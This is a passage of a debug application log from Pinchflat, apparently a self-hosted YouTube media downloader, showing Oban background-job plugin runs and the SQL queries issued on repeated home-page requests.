{"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:35.880 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.954 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:30:05.883 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:35.886 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.956 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:31:05.889 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:35.891 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.958 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:32:05.893 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:35.896 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.960 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:33:05.899 [info] {"source":"oban","duration":1917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:35.901 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.961 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:34:05.904 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:34.465 [info] GET / 05:34:34.466 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:34:34.467 [debug] QUERY OK source="settings" db=0.4ms idle=901.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:34.468 [debug] QUERY OK source="media_profiles" db=0.3ms idle=902.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:34:34.468 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=903.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:34:34.471 [debug] QUERY OK source="media_items" db=2.6ms queue=0.1ms idle=904.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:34.473 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=106.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:34.474 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:34.475 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:34.477 [debug] QUERY OK source="settings" db=0.4ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:34.479 [debug] QUERY OK source="tasks" db=0.7ms idle=7.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:34:34.482 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=7.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:34.484 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=8.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:34:34.486 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:34:34.496 [debug] QUERY OK source="media_items" db=4.0ms queue=0.1ms idle=14.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:34:34.501 [debug] QUERY OK source="media_items" db=4.9ms queue=0.2ms idle=16.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:34:34.503 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=19.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:34.507 [info] Sent 200 in 41ms 05:34:35.465 [info] GET / 05:34:35.465 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:34:35.466 [debug] QUERY OK source="settings" db=0.6ms idle=979.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:35.467 [debug] QUERY OK source="media_profiles" db=0.3ms idle=970.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:34:35.468 [debug] QUERY OK source="sources" db=0.2ms idle=966.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:34:35.469 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=965.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:35.470 [debug] QUERY OK source="media_items" db=0.3ms idle=101.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:35.470 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:35.470 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:35.471 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:35.472 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:34:35.472 [debug] QUERY OK source="media_items" db=0.4ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:35.473 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:34:35.473 [debug] QUERY OK source="sources" db=0.2ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:34:35.476 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:34:35.478 [debug] QUERY OK source="media_items" db=1.4ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:34:35.478 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:35.480 [info] Sent 200 in 15ms 05:34:35.907 [info] {"source":"oban","duration":2002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:41.645 [info] GET / 05:34:41.645 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:34:41.646 [debug] QUERY OK source="settings" db=0.4ms idle=1081.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:41.647 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1082.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:34:41.647 [debug] QUERY OK source="sources" db=0.3ms idle=1082.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:34:41.649 [debug] QUERY OK source="media_items" db=1.5ms idle=265.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:41.650 [debug] QUERY OK source="media_items" db=0.4ms idle=85.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:41.650 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:41.651 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:41.651 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:41.652 [debug] QUERY OK source="tasks" db=0.1ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:34:41.652 [debug] QUERY OK source="media_items" db=0.4ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:41.653 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:34:41.653 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:34:41.656 [debug] QUERY OK source="media_items" db=1.4ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:34:41.658 [debug] QUERY OK source="media_items" db=1.5ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:34:41.658 [debug] QUERY OK source="sources" db=0.1ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:41.660 [info] Sent 200 in 14ms 05:34:53.063 [info] GET / 05:34:53.063 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:34:53.064 [debug] QUERY OK source="settings" db=0.3ms idle=1499.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.065 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=1500.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:34:53.066 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1500.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:34:53.068 [debug] QUERY OK source="media_items" db=2.0ms idle=1501.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:53.069 [debug] QUERY OK source="media_items" db=1.1ms idle=655.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:53.070 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 